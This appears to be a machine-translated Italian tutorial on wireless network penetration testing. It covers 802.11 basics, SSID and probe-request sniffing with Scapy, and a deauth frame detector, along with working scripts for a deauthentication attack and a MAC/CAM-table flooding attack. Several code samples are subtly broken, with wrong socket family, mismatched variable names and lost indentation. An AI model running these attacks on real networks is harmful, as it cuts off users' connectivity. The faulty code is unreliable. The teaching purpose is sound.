Pentestamento della rete wireless

I sistemi wireless sono dotati di molta flessibilità ma, d'altra parte, portano anche a seri problemi di sicurezza. E in che modo questo diventa un serio problema di sicurezza - perché gli aggressori, in caso di connettività wireless, devono solo avere la disponibilità del segnale per attaccare piuttosto che avere l'accesso fisico come nel caso della rete cablata. Il test di penetrazione dei sistemi wireless è un compito più semplice che farlo sulla rete cablata. Non possiamo davvero applicare buone misure di sicurezza fisica contro un supporto wireless, se ci trovassimo abbastanza vicini, saremmo in grado di "sentire" (o almeno il tuo adattatore wireless è in grado di sentire) tutto ciò che scorre nell'aria.

Prerequisiti

Prima di iniziare a imparare di più sul pentesting della rete wireless, prendiamo in considerazione la discussione della terminologia e del processo di comunicazione tra il client e il sistema wireless.

Terminologie importanti

Impariamo ora le importanti terminologie relative al pentesting della rete wireless.

Punto di accesso (AP)

Un punto di accesso (AP) è il nodo centrale nelle implementazioni wireless 802.11. Questo punto viene utilizzato per connettere gli utenti ad altri utenti all'interno della rete e può anche fungere da punto di interconnessione tra LAN wireless (WLAN) e una rete fissa. In una WLAN, un AP è una stazione che trasmette e riceve i dati.

Service Set Identifier (SSID)

È una stringa di testo leggibile da 0-32 byte che è fondamentalmente il nome assegnato a una rete wireless. Tutti i dispositivi nella rete devono utilizzare questo nome con distinzione tra maiuscole e minuscole per comunicare sulla rete wireless (Wi-Fi).

Identificazione del set di servizi di base (BSSID)

È l'indirizzo MAC del chipset Wi-Fi in esecuzione su un punto di accesso wireless (AP). Viene generato in modo casuale.

Numero canale

Rappresenta la gamma di radiofrequenze utilizzata dall'Access Point (AP) per la trasmissione.

Comunicazione tra client e sistema wireless

Un'altra cosa importante che dobbiamo capire è il processo di comunicazione tra il client e il sistema wireless. Con l'aiuto del seguente diagramma, possiamo capire lo stesso:

La cornice del faro

Nel processo di comunicazione tra il client e il punto di accesso, l'AP invia periodicamente un frame beacon per mostrare la sua presenza. Questo frame viene fornito con informazioni relative a SSID, BSSID e numero di canale.

La richiesta di Probe

Ora, il dispositivo client invierà una richiesta di sonda per verificare la presenza di AP nel raggio d'azione. Dopo aver inviato la richiesta della sonda, attenderà la risposta della sonda dall'AP. La richiesta Probe contiene informazioni come SSID dell'AP, informazioni specifiche del fornitore, ecc.

La risposta della sonda

Ora, dopo aver ricevuto la richiesta della sonda, l'AP invierà una risposta della sonda, che contiene le informazioni come velocità dati supportata, capacità, ecc.

La richiesta di autenticazione

Ora, il dispositivo client invierà un frame di richiesta di autenticazione contenente la sua identità.

La risposta di autenticazione

Ora, in risposta, l'AP invierà un frame di risposta di autenticazione che indica l'accettazione o il rifiuto.

La richiesta dell'Associazione

Quando l'autenticazione ha esito positivo, il dispositivo client ha inviato un frame di richiesta di associazione contenente la velocità dati supportata e l'SSID dell'AP.

La risposta dell'Associazione

Ora in risposta, l'AP invierà un frame di risposta dell'associazione che indica l'accettazione o il rifiuto. In caso di accettazione verrà creato un ID associazione del dispositivo client.

Trovare l'SSID (Wireless Service Set Identifier) ​​utilizzando Python

Possiamo raccogliere le informazioni sull'SSID con l'aiuto del metodo raw socket e utilizzando la libreria Scapy.

Metodo socket raw

Lo abbiamo già imparato mon0cattura i pacchetti wireless; quindi, dobbiamo impostare la modalità monitor sumon0. In Kali Linux, può essere fatto con l'aiuto diairmon-ngscript. Dopo aver eseguito questo script, darà un nome alla scheda wirelesswlan1. Ora con l'aiuto del seguente comando, dobbiamo abilitare la modalità monitormon0 -

airmon-ng start wlan1

Di seguito è riportato il metodo socket raw, script Python, che ci darà l'SSID dell'AP -

Prima di tutto dobbiamo importare i moduli socket come segue:

import socket

Ora creeremo un socket che avrà tre parametri. Il primo parametro ci dice dell'interfaccia dei pacchetti (PF_PACKET per Linux specifico e AF_INET per Windows), il secondo parametro ci dice se si tratta di un socket grezzo e il terzo parametro ci dice che siamo interessati a tutti i pacchetti.

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0003))

Ora, la riga successiva vincolerà il file mon0 modalità e 0x0003.

s.bind(("mon0", 0x0003))

Ora, dobbiamo dichiarare un elenco vuoto, che memorizzerà l'SSID degli AP.

ap_list = []

Ora dobbiamo chiamare il file recvfrom()metodo per ricevere il pacchetto. Affinché lo sniffing continui, useremo il ciclo while infinito.

while True:
   packet = s.recvfrom(2048)

La riga di codice successiva mostra se il frame è di 8 bit che indicano il frame beacon.

if packet[26] == "\x80" :
   if packetkt[36:42] not in ap_list and ord(packetkt[63]) > 0:
      ap_list.add(packetkt[36:42])
      
print("SSID:",(pkt[64:64+ord(pkt[63])],pkt[36:42].encode('hex')))

Sniffer SSID con Scapy

Scapy è una delle migliori librerie che ci consente di sniffare facilmente i pacchetti Wi-Fi. Puoi imparare Scapy in dettaglio suhttps://scapy.readthedocs.io/en/latest/. Per cominciare, esegui Sacpy in modalità interattiva e usa il comando conf per ottenere il valore di iface. L'interfaccia predefinita è eth0. Ora che abbiamo la cupola sopra, dobbiamo cambiare questa modalità in mon0. Può essere fatto come segue:

>>> conf.iface = "mon0"
>>> packets = sniff(count = 3)
>>> packets

<Sniffed: TCP:0 UDP:0 ICMP:0 Other:5>
>>> len(packets)
3

Ora importiamo Scapy come libreria. Inoltre, l'esecuzione del seguente script Python ci darà l'SSID -

from scapy.all import *

Ora, dobbiamo dichiarare un elenco vuoto che memorizzerà l'SSID degli AP.

ap_list = []

Ora definiremo una funzione denominata Packet_info(), che avrà la logica di analisi completa dei pacchetti. Avrà l'argomento pkt.

def Packet_info(pkt) :

Nella prossima istruzione, applicheremo un filtro che passerà solo Dot11traffico che significa traffico 802.11. La riga che segue è anche un filtro, che passa il traffico con frame di tipo 0 (rappresenta il frame di gestione) e il sottotipo di frame è 8 (rappresenta il frame beacon).

if pkt.haslayer(Dot11) :
   if ((pkt.type == 0) & (pkt.subtype == 8)) :
      if pkt.addr2 not in ap_list :
         ap_list.append(pkt.addr2)
         print("SSID:", (pkt.addr2, pkt.info))

Ora, la funzione sniff snifferà i dati con iface valore mon0 (per i pacchetti wireless) e invoca il file Packet_info funzione.

sniff(iface = "mon0", prn = Packet_info)

Per implementare gli script Python di cui sopra, abbiamo bisogno di una scheda Wi-Fi che sia in grado di annusare l'aria utilizzando la modalità monitor.

Rilevamento dei client del punto di accesso

Per rilevare i client dei punti di accesso, è necessario acquisire il frame di richiesta della sonda. Possiamo farlo proprio come abbiamo fatto nello script Python per lo sniffer SSID usando Scapy. Dobbiamo dareDot11ProbeReqper acquisire il frame di richiesta della sonda. Di seguito è riportato lo script Python per rilevare i client dei punti di accesso:

from scapy.all import *

probe_list = []

ap_name= input(“Enter the name of access point”)

def Probe_info(pkt) :
   if pkt.haslayer(Dot11ProbeReq) :
      client_name = pkt.info
      
      if client_name == ap_name :
         if pkt.addr2 not in Probe_info:
            Print(“New Probe request--”, client_name)
            Print(“MAC is --”, pkt.addr2)
            Probe_list.append(pkt.addr2)
            
sniff(iface = "mon0", prn = Probe_info)

Attacchi wireless

Dal punto di vista di un pentester, è molto importante capire come avviene un attacco wireless. In questa sezione, discuteremo di due tipi di attacchi wireless:

  • Gli attacchi di de-autenticazione (deauth)

  • L'attacco di inondazione MAC

Gli attacchi di de-autenticazione (deauth)

Nel processo di comunicazione tra un dispositivo client e un punto di accesso, ogni volta che un client desidera disconnettersi, deve inviare il frame di de-autenticazione. In risposta a quel frame dal client, AP invierà anche un frame di de-autenticazione. Un utente malintenzionato può trarre vantaggio da questo normale processo falsificando l'indirizzo MAC della vittima e inviando il frame di de-autenticazione all'AP. A causa di ciò, la connessione tra client e AP viene interrotta. Di seguito è riportato lo script Python per eseguire l'attacco di de-autenticazione -

Per prima cosa importiamo Scapy come libreria -

from scapy.all import *
import sys

Le seguenti due dichiarazioni inseriranno rispettivamente l'indirizzo MAC dell'AP e della vittima.

BSSID = input("Enter MAC address of the Access Point:- ")
vctm_mac = input("Enter MAC address of the Victim:- ")

Ora dobbiamo creare il frame di de-autenticazione. Può essere creato eseguendo la seguente istruzione.

frame = RadioTap()/ Dot11(addr1 = vctm_mac, addr2 = BSSID, addr3 = BSSID)/ Dot11Deauth()

La riga di codice successiva rappresenta il numero totale di pacchetti inviati; qui è 500 e l'intervallo tra due pacchetti.

sendp(frame, iface = "mon0", count = 500, inter = .1)

Produzione

Al momento dell'esecuzione, il comando precedente genera il seguente output:

Enter MAC address of the Access Point:- (Here, we need to provide the MAC address of AP)
Enter MAC address of the Victim:- (Here, we need to provide the MAC address of the victim)

Segue la creazione del frame deauth, che viene quindi inviato al punto di accesso per conto del client. Questo annullerà la connessione tra di loro.

La domanda qui è come rilevare l'attacco deauth con lo script Python. L'esecuzione del seguente script Python aiuterà a rilevare tali attacchi:

from scapy.all import *
i = 1

def deauth_frame(pkt):
   if pkt.haslayer(Dot11):
      if ((pkt.type == 0) & (pkt.subtype == 12)):
         global i
         print ("Deauth frame detected: ", i)
         i = i + 1
   sniff(iface = "mon0", prn = deauth_frame)

Nello script sopra, la dichiarazione pkt.subtype == 12 indica il frame deauth e la variabile I che è definita globalmente indica il numero di pacchetti.

Produzione

L'esecuzione dello script precedente genera il seguente output:

Deauth frame detected: 1
Deauth frame detected: 2
Deauth frame detected: 3
Deauth frame detected: 4
Deauth frame detected: 5
Deauth frame detected: 6

L'indirizzo MAC inondazioni attacchi

L'attacco di flooding dell'indirizzo MAC (attacco di flooding della tabella CAM) è un tipo di attacco di rete in cui un utente malintenzionato connesso a una porta dello switch inonda l'interfaccia dello switch con un numero molto elevato di frame Ethernet con diversi indirizzi MAC di origine falsi. Gli overflow della tabella CAM si verificano quando un afflusso di indirizzi MAC viene inondato nella tabella e viene raggiunta la soglia della tabella CAM. Ciò fa sì che lo switch agisca come un hub, inondando la rete con il traffico su tutte le porte. Tali attacchi sono molto facili da lanciare. Il seguente script Python aiuta a lanciare tale attacco di inondazione CAM -

from scapy.all import *

def generate_packets():
packet_list = []
for i in xrange(1,1000):
packet = Ether(src = RandMAC(), dst = RandMAC())/IP(src = RandIP(), dst = RandIP())
packet_list.append(packet)
return packet_list

def cam_overflow(packet_list):
   sendp(packet_list, iface='wlan')

if __name__ == '__main__':
   packet_list = generate_packets()
   cam_overflow(packet_list)

Lo scopo principale di questo tipo di attacco è controllare la sicurezza dello switch. Dobbiamo utilizzare la sicurezza delle porte se vogliamo ridurre l'effetto dell'attacco di flooding MAC.